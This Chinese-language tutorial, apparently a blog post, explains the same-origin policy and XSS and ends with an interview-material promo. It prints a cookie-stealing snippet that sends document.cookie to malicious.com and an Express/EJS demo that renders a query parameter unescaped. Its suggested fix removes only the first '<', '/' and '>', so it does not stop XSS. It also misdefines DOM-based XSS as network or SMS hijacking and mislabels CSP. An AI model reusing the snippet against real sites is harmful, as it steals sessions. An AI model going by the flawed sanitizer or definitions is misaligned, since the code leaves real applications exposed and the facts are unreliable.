Web页面安全
web世界是开放的,这很符合web开发的理念,但如果web的世界是绝对自由、无安全性可言的话,一些不可控的问题就会出现。
web的资源可以随意拿取,任何站点都能被随意的复刻,那么用户随意打开一个银行的站点,接下来再打开一个恶意站点,那么恶意站点可以随意拿到银行站点的任何信息,例如:cookie、修改DOM结构,可以伪造一些转账信息,造成用户信息财产安全问题。
同源策略
https://www.jiaxina.com:8080/?category=1
协议号域名 端口号路径
同源:如果两个 URL 的协议、域名和端口都相同,我们就称这两个 URL 同源
两个不同的源之间想要操作对方的dom结构,相互访问资源的话,那么就会有一套基础的安全策略制约的规则
同源策略体现在三个层面:
- DOM
同源策略会限制不同源的JS对对方Dom的读写操作
- web数据
同源策略会限制不同源的对web数据的读写操作,例如cookie、localStorage等,不同源的无法读取
- 网络
同源策略限制通过XMLHttpRequest等方式将站点的数据发送给不同源的站点,例如我们做数据请求经常会引起跨域的问题。
为了保护安全性,web牺牲了便利性,但不可能绝对安全,这样的话我们的web就没有任何交互了,开发将非常痛苦,所以在安全和便捷性上都不能达到绝对,只能将部分安全性问题让出,而牺牲掉的这部分安全性就是我们需要关注的前端安全问题。
XSS攻击(Cross Site Scripting)
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
下面举个简单例子
<script src="恶意攻击脚本.js"> function onClick(){let url=`http://malicious.com?cookie=${document.cookie}`open(url)
}
<script>
我们在页面中注入了一段这样的恶意脚本,只要当我们用户在某站点触发了某个click事件,我们用户的当前页面的cookie信息将会立刻被获取到,并且重新打开一个恶意的浏览器页面,把读取到的cookie数据作为参数添加到链接后面,恶意浏览器页面的服务器就能接收到到用户在在这个网站的cookie信息了。

XSS的危害
- 修改DOM、伪造页面、欺骗用户,获取账号密码登录信息
- 在内面内生成浮窗广告
- 可以监听用户的行为和某些事件,比如addEventListener(‘keydown’)
- 窃取cookie信息等
恶意脚本是如何注入的
- 存储型XSS(持久型跨站)
最直接的危害类型,跨站代码由用户提交的数据(例如:评论、个性签名、个人动态等自由行较高的文本输入框)直接存储到了存储在服务器(数据库)。最后传回给浏览器解析成页面脚本随意盗取页面数据。
- 反射性XSS(非持久型跨站)
用户访问服务器-跨站链接-返回跨站代码,通过将攻击脚本添加为URL参数,一般是使用alert来探测站点是否防御,直接攻击的使用src来引入自己的脚本
为了加深理解,接下来我们利用express来模拟一下攻击
准备一个主页面 view/index.html
<html lang="en">
<head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title><%=title %> </title>
</head>
<body><p>welcome to <%=title %> </p><div><%- csss%></div>
</body>
</html>
服务器server.js
const express = require('express')
const path = require('path')
const app = express()
//告诉express我们选择哪种模板引擎,ejs
app.set('view', path.join(__dirname, 'view'));//读取到的文件是view文件下的index.html
app.engine('html', require('ejs').renderFile);//需要ejs的模板殷勤
app.set('view engine', 'html');
app.get('/', function(req, res, next) {
res.render('index', { title: 'Express', xss: req.query.xss })
})
app.listen(8080,() => { console.log('服务已在localhost:8080端口启动');
})
启动服务器成功


给url后加一个参数

发现传过去的参数显示在了页面上,这就是反射型的XSS,很多时候我们会有一个这样的需求就是接收的前端传过来的一个这样的参数,让通过模板引擎,直接输出给前端
那如果我们向链接后面传输一段脚本为参数呢

它就真的解析成了js脚本输出到了页面
我们假设一个场景,如果有一天你收到了一封邮件,邮件提醒你在某某平台注册的账号需要校验,这是很常用的场景吧,然后有一个平台的校验链接,这个链接确实是平台的校验链接,但后面接了一串JS,你点开这个验证链接,平台没有做任何处理,这段脚本会在你打开页面那一刻被执行掉,此时你的登录信息和token都有可能被窃取。
反射性和存储型的区别在于时效性,反射性只有打开那一刻在,存储型如果不去解决会一直在
- 基于DOM的XSS
通过网络劫持的手段,将恶意的脚本注入到页面当中。即在数据传输的过程中把你的html页面篡改掉,再让用户看到。常见的有:wifi路由器劫持
场景模拟:例如你在登录某个网站,但你忘记了你的密码,现在你需要短信找回密码,攻击者检测到周围有无线电的传输,就会进行劫持,本来你应该接收到网站发来的找回密码的验证短信,但很不巧,这条短信被攻击者劫持了,他将短信进行修改,告诉你你的账号存在风险,需要做一个个人信息验证,并将篡改后的短信发送给你,这个时候你就容易上套了,你的信息就被泄露了。
如何防止XSS攻击
无论是哪种XSS攻击,我们会发现,其实XSS攻击存在一个共同点,就是它一定要往网页中的某些渠道注入一段恶意脚本,针对这一特点,我们可以采取相应措施。
1.在服务端对script进行转义,( 服务器对输入的脚本进行过滤或转码);
在server的模板引擎下加上此段代码,将HTML标签破解掉
……
function changeCode(str) { str=str.replace('<', ''); //将标签括号去掉str=str.replace('/', ''); str=str.replace('>', ''); return str
}
app.get("/", function (req, res, next) {res.render("index", { title: "Express", xss: changeCode(req.query.xss) });//调用转义函数
});
看看效果
2. 充分使用CSP
CSP(跨域机制)具有的功能
- 限制加载其他域下的资源文件,禁止向第三方提交数据,这样数据就不会外泄
3. 设置cookie
- 通过HTTP响应头的Set-Cookie中设置HttpOnly,cookie就无法被js读取到了
最后
整理了一套《前端大厂面试宝典》,包含了HTML、CSS、JavaScript、HTTP、TCP协议、浏览器、VUE、React、数据结构和算法,一共201道面试题,并对每个问题作出了回答和解析。
有需要的小伙伴,可以点击文末卡片领取这份文档,无偿分享
部分文档展示:
文章篇幅有限,后面的内容就不一一展示了
有需要的小伙伴,可以点下方卡片免费领取